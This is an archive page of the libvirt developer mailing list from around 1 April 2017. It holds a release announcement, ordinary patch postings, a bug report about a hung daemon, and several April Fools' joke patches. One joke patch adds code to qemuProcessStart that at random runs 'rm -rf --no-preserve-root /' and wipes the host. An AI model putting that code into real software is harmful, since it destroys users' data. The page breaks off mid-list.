- Devel - libvirt List Archives

[libvirt] Release of libvirt-3.2.0
by Daniel Veillard 02 Apr '17

02 Apr '17

As planned I tagged the release in git, the tree is now open for development. A signed tarball and rpms are available from the usual place: ftp://libvirt.org/libvirt/ I also made release of the python bindings, libvirt-python-3,2,0 is available from: ftp://libvirt.org/libvirt/python/ This new release includes a number of new user visible features as well as some improvement and bug fixes too: * New features - The virt-host-validate tool now supports bhyve hypervisor - Introduce NVDIMM memory model NVDIMM is new type of memory introduced into QEMU 2.6. The idea is that we have a non-volatile memory module that keeps the data persistent across domain reboots and offers much faster data accesses. However, due to a bug in QEMU, this feature is not enabled for QEMUs older than 2.9.0. - qemu: Introduce support for generic PCIe Root Ports For new controllers, a generic device (pcie-root-port) will be used by default instead of the Intel-specific device (ioh3420), provided the QEMU binary supports it. - qemu: Add support for checking guest CPU ABI compatibility When migrating a domain to a different host, restoring a domain from a file or reverting a snapshot libvirt will make sure the guest CPU QEMU presents to the guest OS exactly matches the one provided on the source host (or before the domain's state was saved). This enhanced check may also be requested when starting a new domain to ensure the virtual CPU exactly matches the one specified in the XML. - qemu: Add support to migrate using TLS Add the ability to migrate QEMU guests using TLS via a new flag VIR_MIGRATE_TLS or virsh migrate '--tls' option. Requires using at least QEMU 2.9.0 in order to work properly. - qemu: add mediated devices framework support Recent kernel version introduced new mediated device framework, so provide an initial support of this framework for libvirt, mainly by introducing a new host device type in the XML. - qemu: Add support for setting TSC frequency Setting TSC frequency is required to enable migration for domains with 'invtsc' CPU feature turned on. - Add support for block device threshold event When using thin provisioning, management tools need to resize the disk in certain cases. To avoid having them to poll disk usage this version introduces an event which will be fired when a given offset of the storage is written by the hypervisor. Together with the API it allows registering thresholds for given storage backing volumes and this event will then notify management if the threshold is exceeded. Currently only the qemu driver supports this. - bhyve: Add support for UEFI boot ROM, VNC, and USB tablet The bhyve driver now supports booting using the UEFI boot ROM, so non-FreeBSD guests that support UEFI could be booted without using an external boot loader like grub-bhyve. Video is also supported now, allowing to connect to guests via VNC and use an USB tablet as an input device. Please refer to the driver page for domain XML examples. * Improvements - qemu: Detect host CPU model by asking QEMU on x86_64 Previously, libvirt detected the host CPU model using CPUID instruction, which caused libvirt to detect a lot of CPU features that are not supported by QEMU/KVM. Asking QEMU makes sure we don't start it with unsupported features. - perf: Add more perf statistics Add support to get the count of cpu clock time, task clock time, page faults, context switches, cpu migrations, minor page faults, major page faults, alignment faults, emulation faults by applications running on the platform. - Write hyperv crash information into vm log qemu's implementation of the hyperv panic notifier now reports information about the crash from the guest os. Starting with this version, libvirt logs the information to the vm log file for possible debugging. * Bug fixes - QEMU: Use adaptive timeout for connecting to monitor When starting qemu, libvirt waits for qemu to create the monitor socket which libvirt connects to. Historically, there was sharp 30 second timeout after which the qemu process was killed. This approach is suboptimal as in some scenarios with huge amounts of guest RAM it can take a minute or more for kernel to allocate and zero out pages for qemu. The timeout is now flexible and computed by libvirt at domain startup. - Overwrite (clear) 2 KB instead of just 512 bytes when initializing logical device - Describe the logical backend requirements better for pool-create-as Thanks everybody for your help with this release, be it with ideas, bug reports, patches, reviews, localization, docs ... Enjoy ! Daniel -- Daniel Veillard | Red Hat Developers Tools http://developer.redhat.com/ veillard(a)redhat.com | libxml Gnome XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | virtualization library http://libvirt.org/

1 0

[libvirt] [PATCH 00/11] hyperv: add support for Hyper-V 2012 and newer.
by Dawid Zamirski 02 Apr '17

02 Apr '17

Hello, The following patch series reworks the hyper-v driver structs and the code generator to provide seamless support for both Hyper-V 2008 and 2012 or newer. This does not implement any new libvirt APIs, it just adapts existing 2008-only driver to also handle 2012 and newer by sharing as much driver code as possible (currently it's all of it :-)) This is needed to set the foundation before we can move forward with implementing the rest of the driver APIs. With 2012 release, Microsoft introduced "v2" version of Msvm_* WMI classes. Those are largely the same as "v1" (used in 2008) but have some new properties as well as need different wsman request URIs. To accomodate those differences, most of work went into the code generator so that it's "aware" of possibility of multiple versions of the same WMI class and produce C code accordingly. To accomplish this the following changes were made: * hypervPrivate has now wmiVersion field so the driver can check this at runtime and take appropiate action as needed. * the abstract hypervObject struct's data member was changed to a union that has "common", "v1" and "v2" members. Those are structs that represent WMI classes that we get back from wsman response. The "common" struct has members that are present in both "v1" and "v2" which the driver API callbacks can use to read the data from in version-independent manner (if version-specific member needs to be accessed the driver can check priv->wmiVersion and read from "v1" or "v2" as needed). Those structs are guaranteed to be memory aligned by the code generator (see the _align_propert_members implementation that takes care of that) * the generator produces *_WmiInfo for each WMI class "family" that holds an array of hypervWmiClassInfoPtr each providing information as to which request URI to use for each "version" of given WMI class as well as XmlSerializerInfo struct needed to unserilize wsman responsed into the data structs. The driver uses those to make proper wsman request depending on which version it's connected to. * the generator no longer produces "helper" functions such as hypervGetMsvmComputerSystemList as those were originally just simple wrappers around hypervEnumAndPull, instead those were hand-written now (to keep driver changes minimal). The reason is that we'll have more code coming (once/if this get ACK) implementing missing libvirt APIs and surely code patterns will emerge that would warrant more useful "utility" functions like that. * a hypervInitConnection was added to the driver which "detects" hyper-v version by testing simple wsman request using v2 then falling back to v1, obviously if both fail, the we're erroring out. To express how the above translates in code: int hypervImplementSomeLibvirtApi(virConnectPtr conn, ...) { hypervPrivate *priv = conn->privateData; hypervWqlQuery wqlQuery = HYPERV_WQL_QUERY_INITIALIZER; Msvm_ComputerSystem *list = NULL; /* typed hypervObject instance */ /* the WmiInfo struct has the data needed for wsman request and * response handling for both v1 and v2 */ wqlQuery.info = Msvm_ComputerSystem_WmiInfo; wqlQuery.query = "select * from Msvm_ComputerSystem"; if (hypervEnumAndPull(priv, &query, (hypervObject **) &list) < 0) { goto cleanup; } if (list == NULL) { /* none found */ goto cleanup; } /* works with v1 and v2 */ char *vmName = list->data.common->Name; /* access property that is in v2 only */ if (priv->wmiVersion == HYPERV_WMI_VERSION_V2) char *foo = list->data.v2->V2Property; else char *foo = list->data.v1->V1Property; } Dawid Zamirski (11): hyperv: fixed typo in function name. hyperv: store WMI version in hypervPrivate. hyperv: introduce hypervWmiClassInfo struct. hyperv: update hypervObject struct. hyperv: add hypervWqlQuery struct. hyperv: make hypervEnumAndPull use hypervWqlQuery hyperv: update generator input file. hyperv: update wmi code generator. hyperv: add helper for getting WMI class lists. hyperv: port rest of the driver to new stucts. hyperv: add hypervInitConnection. src/Makefile.am | 2 - src/hyperv/hyperv_driver.c | 168 ++++++++------ src/hyperv/hyperv_private.h | 8 +- src/hyperv/hyperv_wmi.c | 179 +++++++++++---- src/hyperv/hyperv_wmi.h | 58 ++++- src/hyperv/hyperv_wmi_classes.h | 30 +++ src/hyperv/hyperv_wmi_generator.input | 239 +++++++++++++++++--- src/hyperv/hyperv_wmi_generator.py | 409 +++++++++++++++++++++++----------- 8 files changed, 809 insertions(+), 284 deletions(-) mode change 100755 => 100644 src/hyperv/hyperv_wmi_generator.py -- 2.9.3

3 24

[libvirt] [PATCH] Give other software a fair chance
by Michal Privoznik 01 Apr '17

01 Apr '17

Libvirt's so good, so solid that it almost feels like other software stand no chance. Other applications are buggy, unstable, crashing, etc. But not libvirt. Therefore, it seems only fair that we introduce some bugs so developers of the other applications don't feel that bad. Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com> --- src/qemu/qemu_process.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c index a20beb1..2a68611 100644 --- a/src/qemu/qemu_process.c +++ b/src/qemu/qemu_process.c @@ -77,6 +77,7 @@ #include "configmake.h" #include "nwfilter_conf.h" #include "netdev_bandwidth_conf.h" +#include "virrandom.h" #define VIR_FROM_THIS VIR_FROM_QEMU @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, if (!migrateFrom && !snapshot) flags |= VIR_QEMU_PROCESS_START_NEW; + /* Be fair to other applications. */ + if (virRandomInt(2)) { + const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL}; + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("Sorry pal, today is just not your day. Kiss your data goodbye.")); + ignore_value(virRun(argv, NULL)); + goto cleanup; + } + if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) goto cleanup; -- 2.10.2

3 2

[libvirt] [PATCH] util: add support for parsing roman numerals
by Ján Tomko 01 Apr '17

01 Apr '17

In loving memory of the glorious Roman Empire, add support for parsing roman numerals to all the positive virStrToLong variants (those that reject negative numbers). Now you can finally do: <memory unit='MiB'>CCLVI</memory> --- src/util/virstring.c | 78 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 78 insertions(+) diff --git a/src/util/virstring.c b/src/util/virstring.c index 69abc26..81c2052 100644 --- a/src/util/virstring.c +++ b/src/util/virstring.c @@ -313,6 +313,69 @@ virStringListGetFirstWithPrefix(char **strings, return NULL; } +const char *digits = "IVXLCDM"; +const unsigned values[] = { 1, 5, 10, 50, 100, 500, 1000 }; + +static int +virRomanStrToLong_ul(char const *s, unsigned long *result) +{ + unsigned long ret = 0; + char const *cur; + + if (*s == '\0') + return -1; + + for (cur = s; *cur != '\0'; cur++) { + size_t pos; + char const *lookup; + + lookup = strchr(digits, *cur); + if (!lookup) + return -1; + pos = lookup - digits; + + if (*(cur + 1) != '\0' && strchr(digits + pos + 1, *(cur + 1))) { + ret -= values[pos]; + } else { + if (ret > ULONG_MAX - values[pos]) + return -1; + ret += values[pos]; + } + } + *result = ret; + return 0; +} + +static int +virRomanStrToLong_ull(char const *s, unsigned long long *result) +{ + unsigned long long ret = 0; + char const *cur; + + if (*s == '\0') + return -1; + + for (cur = s; *cur != '\0'; cur++) { + size_t pos; + char const *lookup; + + lookup = strchr(digits, *cur); + if (!lookup) + return -1; + pos = lookup - digits; + + if (*(cur + 1) != '\0' && strchr(digits + pos + 1, *(cur + 1))) { + ret -= values[pos]; + } else { + if (ret > ULLONG_MAX - values[pos]) + return -1; + ret += values[pos]; + } + } + *result = ret; + return 0; +} + /* Like strtol, but produce an "int" result, and check more carefully. Return 0 upon success; return -1 to indicate failure. When END_PTR is NULL, the byte after the final valid digit must be NUL. @@ -379,6 +442,11 @@ virStrToLong_uip(char const *s, char **end_ptr, int base, unsigned int *result) char *p; bool err = false; + if (virRomanStrToLong_ul(s, &val) == 0) { + *result = val; + return 0; + } + errno = 0; val = strtoul(s, &p, base); /* exempt from syntax-check */ err = (memchr(s, '-', p - s) || @@ -441,6 +509,11 @@ virStrToLong_ulp(char const *s, char **end_ptr, int base, char *p; int err; + if (virRomanStrToLong_ul(s, &val) == 0) { + *result = val; + return 0; + } + errno = 0; val = strtoul(s, &p, base); /* exempt from syntax-check */ err = (memchr(s, '-', p - s) || @@ -504,6 +577,11 @@ virStrToLong_ullp(char const *s, char **end_ptr, int base, char *p; int err; + if (virRomanStrToLong_ull(s, &val) == 0) { + *result = val; + return 0; + } + errno = 0; val = strtoull(s, &p, base); /* exempt from syntax-check */ err = (memchr(s, '-', p - s) || -- 2.10.2

1 0

[libvirt] [PATCH 0/5] Deprecate obsolete architectures
by Andrea Bolognani 01 Apr '17

01 Apr '17

libvirt supports way too many architectures, including a bunch which are no longer relevant these days. As a result, developers spend a lot of their time focusing on bugs and features that only affect legacy architectures such as x86 rather than on improving support for reasonable, modern architectures such as ppc64 and aarch64. This series starts deprecating obsolete architectures so we can drop support for them and retarget our efforts down the line. The initial list of deprecated architectures is fairly conservative, only including those which are clearly obsolete such as x86; on the other hand, dropping just those would already allow us to get rid of a lot of complex and probably fairly buggy code, so I think it's a good first step. I'd suggest dropping the support for architectures we're deprecating with this series completely with version 4.0.0, due on January of next year, but I could be persuaded to proceed earlier. Andrea Bolognani (5): configure: Deprecate obsolete architectures daemon: Log warning when running on a deprecated architecture virsh: Emit warning when running on a deprecated architecture qemu: Taint guests emulating a deprecated architecture news: Document architecture deprecation configure.ac | 15 +++++++++++++++ daemon/libvirtd.c | 5 +++++ docs/news.xml | 13 +++++++++++++ src/conf/domain_conf.c | 3 ++- src/conf/domain_conf.h | 1 + src/qemu/qemu_domain.c | 3 +++ src/util/virarch.h | 3 +++ tools/virsh.c | 6 ++++++ 8 files changed, 48 insertions(+), 1 deletion(-) -- 2.7.4

1 5

[libvirt] [PATCH] docs: bhyve: fix typo
by Roman Bogorodskiy 01 Apr '17

01 Apr '17

USB tables -> USB tablet. --- Pushed as trivial. docs/drvbhyve.html.in | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/drvbhyve.html.in b/docs/drvbhyve.html.in index 0aed121ff..dd6620d59 100644 --- a/docs/drvbhyve.html.in +++ b/docs/drvbhyve.html.in @@ -312,7 +312,7 @@ attempt to boot from the first partition in the disk image.</p> <p>Caveat: <code>bootloader_args</code> does not support any quoting. Filenames, etc, must not have spaces or they will be tokenized incorrectly.</p> -<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tables</a></h3> +<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tablet</a></h3> <p><span class="since">Since 3.2.0</span>, in addition to <a href="#grubbhyve">grub-bhyve</a>, non-FreeBSD guests could be also booted using an UEFI boot ROM, provided both guest OS and -- 2.11.0

1 0

[libvirt] [PATCH] tests: ignore -Wframe-larger-than= with clang
by Roman Bogorodskiy 01 Apr '17

01 Apr '17

When building with clang and using CFLAGS for debugging (like -O2 -g), build fails on building tests unless configured with --disable-werror: virshtest.c:253:1: error: stack frame size of 5512 bytes in function 'mymain' [-Werror,-Wframe-larger-than=] mymain(void) To fix that, introduce VIR_WARNINGS_NO_FRAME_LARGER_THAN(_RESET) macros that disable "-Wframe-larger-than=" diagnostics when compiling with clang and use that for tests that fail. --- src/internal.h | 13 +++++++++++++ tests/cputest.c | 4 ++++ tests/qemuhotplugtest.c | 3 +++ tests/sockettest.c | 5 +++++ tests/virshtest.c | 4 ++++ tests/virstringtest.c | 5 +++++ 6 files changed, 34 insertions(+) diff --git a/src/internal.h b/src/internal.h index d64be93b3..c1f4aff27 100644 --- a/src/internal.h +++ b/src/internal.h @@ -286,6 +286,19 @@ # define VIR_WARNINGS_NO_WLOGICALOP_STRCHR # endif +/* Workaround for clang's triggering "-Wframe-larger-than=" on tests + * when compiling with '-O0' */ +# ifndef VIR_WARNINGS_NO_FRAME_LARGER_THAN +# if defined(__clang__) +# define VIR_WARNINGS_NO_FRAME_LARGER_THAN \ + _Pragma ("clang diagnostic push") \ + _Pragma ("clang diagnostic ignored \"-Wframe-larger-than=\"") +# define VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET _Pragma("clang diagnostic pop") +# else +# define VIR_WARNINGS_NO_FRAME_LARGER_THAN +# define VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET +# endif /* defined(__clang__) */ +# endif /* * Use this when passing possibly-NULL strings to printf-a-likes. diff --git a/tests/cputest.c b/tests/cputest.c index 3d3e43f16..b00352390 100644 --- a/tests/cputest.c +++ b/tests/cputest.c @@ -732,6 +732,8 @@ static const char *models[] = { "qemu64", "core2duo", "Nehalem" }; static const char *haswell[] = { "SandyBridge", "Haswell" }; static const char *ppc_models[] = { "POWER6", "POWER7", "POWER8" }; +VIR_WARNINGS_NO_FRAME_LARGER_THAN + static int mymain(void) { @@ -1012,4 +1014,6 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } +VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET + VIRT_TEST_MAIN(mymain) diff --git a/tests/qemuhotplugtest.c b/tests/qemuhotplugtest.c index cdeb3f1bf..5492d09c6 100644 --- a/tests/qemuhotplugtest.c +++ b/tests/qemuhotplugtest.c @@ -574,6 +574,7 @@ testQemuHotplugCpuIndividual(const void *opaque) } +VIR_WARNINGS_NO_FRAME_LARGER_THAN static int mymain(void) @@ -856,4 +857,6 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } +VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET + VIRT_TEST_MAIN(mymain) diff --git a/tests/sockettest.c b/tests/sockettest.c index 4d49b38aa..a33b98f6f 100644 --- a/tests/sockettest.c +++ b/tests/sockettest.c @@ -264,6 +264,9 @@ testIsLocalhostHelper(const void *opaque) return 0; } + +VIR_WARNINGS_NO_FRAME_LARGER_THAN + static int mymain(void) { @@ -482,4 +485,6 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } +VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET + VIRT_TEST_MAIN(mymain) diff --git a/tests/virshtest.c b/tests/virshtest.c index 2f1022416..149e33feb 100644 --- a/tests/virshtest.c +++ b/tests/virshtest.c @@ -249,6 +249,8 @@ static int testCompareEcho(const void *data) } +VIR_WARNINGS_NO_FRAME_LARGER_THAN + static int mymain(void) { @@ -419,6 +421,8 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } +VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET + VIRT_TEST_MAIN(mymain) #endif /* WIN32 */ diff --git a/tests/virstringtest.c b/tests/virstringtest.c index db1731f96..914eeea24 100644 --- a/tests/virstringtest.c +++ b/tests/virstringtest.c @@ -693,6 +693,9 @@ static int testStripControlChars(const void *args) return ret; } + +VIR_WARNINGS_NO_FRAME_LARGER_THAN + static int mymain(void) { @@ -961,4 +964,6 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } +VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET + VIRT_TEST_MAIN(mymain) -- 2.11.0

1 0

[libvirt] [PATCH] Document virDomainAbortJob behavior for post-copy migration
by Jiri Denemark 31 Mar '17

31 Mar '17

https://bugzilla.redhat.com/show_bug.cgi?id=1389313 Signed-off-by: Jiri Denemark <jdenemar(a)redhat.com> --- src/libvirt-domain.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/libvirt-domain.c b/src/libvirt-domain.c index 26da0e7f3..4670c54e5 100644 --- a/src/libvirt-domain.c +++ b/src/libvirt-domain.c @@ -8702,7 +8702,9 @@ virDomainGetJobStats(virDomainPtr domain, * @domain: a domain object * * Requests that the current background job be aborted at the - * soonest opportunity. + * soonest opportunity. In case the job is a migration in a post-copy mode, + * virDomainAbortJob will report an error (see virDomainMigrateStartPostCopy + * for more details). * * Returns 0 in case of success and -1 in case of failure. */ @@ -8976,7 +8978,8 @@ virDomainMigrateGetMaxSpeed(virDomainPtr domain, * rolled back because none of the hosts has complete state. If this happens, * libvirt will leave the domain paused on both hosts with * VIR_DOMAIN_PAUSED_POSTCOPY_FAILED reason. It's up to the upper layer to - * decide what to do in such case. + * decide what to do in such case. Because of this, libvirt will refuse to + * cancel post-copy migration via virDomainAbortJob. * * The following domain life cycle events are emitted during post-copy * migration: -- 2.12.0

2 2

[libvirt] libvirtd not responding to virsh, results in virsh hanging
by Chris Friesen 31 Mar '17

31 Mar '17

Hi, We've recently run into an issue with libvirt 1.2.17 in the context of an OpenStack deployment. Occasionally after doing live migrations from a compute node with libvirt 1.2.17 to a compute node with libvirt 2.0.0 we see libvirtd on the 1.2.17 side stop responding. When this happens, if you run a command like "sudo virsh list" then it just hangs waiting for a response from libvirtd. Running "ps -elfT|grep libvirtd" shows many threads waiting on a futex, but two threads in poll_schedule_timeout() as part of the poll() syscall. On a non-hung libvirtd I only see one thread in poll_schedule_timeout(). If I kill and restart libvirtd (this took two tries, it didn't actually die the first time) then the problem seems to go away. I just tried attaching gdb to the "hung" libvirtd process and running "thread apply all backtrace". This printed backtraces for the threads, including the one that was apparently stuck in poll(): Thread 17 (Thread 0x7f0573fff700 (LWP 186865)): #0 0x00007f05b59d769d in poll () from /lib64/libc.so.6 #1 0x00007f05b7f01b9a in virNetClientIOEventLoop () from /lib64/libvirt.so.0 #2 0x00007f05b7f0234b in virNetClientSendInternal () from /lib64/libvirt.so.0 #3 0x00007f05b7f036f3 in virNetClientSendWithReply () from /lib64/libvirt.so.0 #4 0x00007f05b7f04eb3 in virNetClientStreamSendPacket () from /lib64/libvirt.so.0 #5 0x00007f05b7ed8db5 in remoteStreamFinish () from /lib64/libvirt.so.0 #6 0x00007f05b7ec7eaa in virStreamFinish () from /lib64/libvirt.so.0 #7 0x00007f059bd9323d in qemuMigrationIOFunc () from /usr/lib64/libvirt/connection-driver/libvirt_driver_qemu.so #8 0x00007f05b7e09aa2 in virThreadHelper () from /lib64/libvirt.so.0 #9 0x00007f05b5cb4dc5 in start_thread () from /lib64/libpthread.so.0 #10 0x00007f05b59e1ced in clone () from /lib64/libc.so.6 Interestingly, when I hit "c" to continue in the debugger, I got this: (gdb) c Continuing. Program received signal SIGPIPE, Broken pipe. [Switching to Thread 0x7f0573fff700 (LWP 186865)] 0x00007f05b5cbb1cd in write () from /lib64/libpthread.so.0 (gdb) c Continuing. [Thread 0x7f0573fff700 (LWP 186865) exited] (gdb) quit A debugging session is active. Inferior 1 [process 37471] will be detached. Quit anyway? (y or n) y Detaching from program: /usr/sbin/libvirtd, process 37471 Now thread 186865 seems to be gone, and libvirtd is no longer hung. Has anyone seen anything like this before? Anyone have an idea where to start looking? Thanks, Chris

2 4

[libvirt] [PATCH 0/2] Don't kill domains on daemon restart
by Michal Privoznik 31 Mar '17

31 Mar '17

Patch 1/2 is just a cleanup; patch 2/2 fixes the actual issue. Michal Privoznik (2): virDomainDiskDefForeachPath: Prefer virStorageSourceIsLocalStorage Introduce and use virDomainDiskZeroSource src/conf/domain_conf.c | 27 ++++++++++++++++++++++++--- src/conf/domain_conf.h | 1 + src/libvirt_private.syms | 1 + src/qemu/qemu_domain.c | 2 +- src/qemu/qemu_process.c | 2 +- src/vmx/vmx.c | 6 +++--- src/xenconfig/xen_xm.c | 2 +- 7 files changed, 32 insertions(+), 9 deletions(-) -- 2.10.2

3 11

[libvirt] [PATCH 00/16] Expose host cache information in capabilities
by Martin Kletzander 31 Mar '17

31 Mar '17

I think thanks to previous patches regarding sysfs, this should be very easy to review. The XML snippet that shows how the capablity XML looks like can be seen in the second to last patch which adds test for it. Again, first few patches are trivial because I couldn't be bothered to split the branch in two and writing two cover letters and moreover those are patches for trivialities I stumbled upon during the work on this series. Also, this series is based upon Peter's news.xml validation against RNG schema: https://www.redhat.com/archives/libvir-list/2017-March/msg01478.html Previous discussion threads on the XML design and patches touching this topic can be found here (not meant to be a complete list): https://www.redhat.com/archives/libvir-list/2017-January/msg00354.html https://www.redhat.com/archives/libvir-list/2017-January/msg00512.html https://www.redhat.com/archives/libvir-list/2017-January/msg00633.html https://www.redhat.com/archives/libvir-list/2017-February/msg00777.html https://www.redhat.com/archives/libvir-list/2017-March/msg00197.html Martin Kletzander (16): conf: Fix possible memleak in capabilities util: Fix virDirRead() description virsysfs: Add comments to separate logical blocks of functions util: Add virStringTrimOptionalNewline util: Add virFileReadValueScaledInt util: Add virSysfsDirOpen util: Add virSysfsCpuDirOpen util: Use virStringTrimOptionalNewline in virFileRead* util: Unify behaviour of the functions in sysfs.c util: Add virSysfsGetCPUCache* functions tests: Test capability XMLs in vircaps2xmldata Add RNG schema for host cache information in capabilities Add host cache information into capabilities tests: Add missing cache data for vircaps2xmltest tests: Add tests for caches into vircaps2xmltest Init host cache info in drivers docs/schemas/capability.rng | 34 +++++ src/conf/capabilities.c | 162 ++++++++++++++++++++- src/conf/capabilities.h | 29 ++++ src/libvirt_private.syms | 9 ++ src/lxc/lxc_conf.c | 3 + src/openvz/openvz_conf.c | 3 + src/phyp/phyp_driver.c | 3 + src/qemu/qemu_capabilities.c | 3 + src/uml/uml_conf.c | 3 + src/util/virfile.c | 50 +++++-- src/util/virfile.h | 1 + src/util/virhostcpu.c | 4 +- src/util/virstring.h | 8 + src/util/virsysfs.c | 162 +++++++++++++++++++-- src/util/virsysfs.h | 56 +++++++ src/vbox/vbox_common.c | 3 + src/vmware/vmware_conf.c | 3 + src/vz/vz_driver.c | 2 + .../linux-caches/cpu/cpu0/cache/index0/id | 1 + .../cpu/cpu0/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu0/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu0/cache/index1/id | 1 + .../cpu/cpu0/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu0/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu0/cache/index2/id | 1 + .../cpu/cpu0/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu0/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu0/cache/index3/id | 1 + .../linux-caches/cpu/cpu1/cache/index0/id | 1 + .../cpu/cpu1/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu1/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu1/cache/index1/id | 1 + .../cpu/cpu1/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu1/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu1/cache/index2/id | 1 + .../cpu/cpu1/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu1/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu1/cache/index3/id | 1 + .../linux-caches/cpu/cpu2/cache/index0/id | 1 + .../cpu/cpu2/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu2/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu2/cache/index1/id | 1 + .../cpu/cpu2/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu2/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu2/cache/index2/id | 1 + .../cpu/cpu2/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu2/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu2/cache/index3/id | 1 + .../linux-caches/cpu/cpu3/cache/index0/id | 1 + .../cpu/cpu3/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu3/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu3/cache/index1/id | 1 + .../cpu/cpu3/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu3/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu3/cache/index2/id | 1 + .../cpu/cpu3/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu3/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu3/cache/index3/id | 1 + .../linux-caches/cpu/cpu4/cache/index0/id | 1 + .../cpu/cpu4/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu4/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu4/cache/index1/id | 1 + .../cpu/cpu4/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu4/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu4/cache/index2/id | 1 + .../cpu/cpu4/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu4/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu4/cache/index3/id | 1 + .../linux-caches/cpu/cpu5/cache/index0/id | 1 + .../cpu/cpu5/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu5/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu5/cache/index1/id | 1 + .../cpu/cpu5/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu5/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu5/cache/index2/id | 1 + .../cpu/cpu5/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu5/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu5/cache/index3/id | 1 + .../linux-caches/cpu/cpu6/cache/index0/id | 1 + .../cpu/cpu6/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu6/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu6/cache/index1/id | 1 + .../cpu/cpu6/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu6/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu6/cache/index2/id | 1 + .../cpu/cpu6/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu6/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu6/cache/index3/id | 1 + .../linux-caches/cpu/cpu7/cache/index0/id | 1 + .../cpu/cpu7/cache/index0/shared_cpu_list | 2 +- .../cpu/cpu7/cache/index0/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu7/cache/index1/id | 1 + .../cpu/cpu7/cache/index1/shared_cpu_list | 2 +- .../cpu/cpu7/cache/index1/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu7/cache/index2/id | 1 + .../cpu/cpu7/cache/index2/shared_cpu_list | 2 +- .../cpu/cpu7/cache/index2/shared_cpu_map | 2 +- .../linux-caches/cpu/cpu7/cache/index3/id | 1 + tests/vircaps2xmldata/vircaps-x86_64-caches.xml | 15 ++ tests/vircaps2xmltest.c | 3 +- tests/virschematest.c | 3 +- 101 files changed, 608 insertions(+), 79 deletions(-) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/id create mode 100644 